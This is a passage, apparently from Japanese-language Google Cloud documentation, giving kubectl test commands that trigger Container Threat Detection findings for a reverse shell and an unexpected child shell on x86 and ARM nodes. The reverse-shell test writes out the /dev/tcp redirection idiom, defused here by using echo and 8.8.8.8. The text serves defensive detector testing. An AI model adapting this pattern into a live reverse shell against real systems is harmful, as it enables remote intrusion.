リダイレクトでバイナリを開始します。x86 ノード:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
ARM ノード:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
このテスト手順により、リバースシェルの検出結果が作成されます。この検出結果は Security Command Center で確認できます。また、Container Threat Detection のロギングを構成している場合は、Cloud Logging でもこの検出結果を確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
予期しない子シェル
Unexpected Child Shell
検出機能をテストするには、子シェルプロセスを含むプロセスツリーを作成します。
次の例では、Unexpected Child Shell
検出機能で検出できる consul->dash
プロセスツリーを作成します。このテストは組み込みのバイナリのみを使用するため、安全です。この例では、次の操作を行います。
sh
プロセスのコピーを作成して、consul
という名前を付けます。echo
プロセスをコピーして、dash
という名前を付けます。- コピーした
consul
プロセスで、コピーしたdash
プロセスを呼び出します。
Unexpected Child Shell
の検出結果をトリガーするには、次の操作を行います。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
疑似
consul
プロセスで疑似シェルを呼び出します。x86 ノード:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
ARM ノード:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
このテスト手順では、Security Command Center で表示できる Unexpected Child Shell
の検出結果を生成します。Container Threat Detection のロギングが構成されていて、組織レベルで Security Command Center Premium または Enterprise が有効になっている場合は、Cloud Logging で検出結果を表示することもできます。
次のステップ
- Container Threat Detection の使用方法を確認する。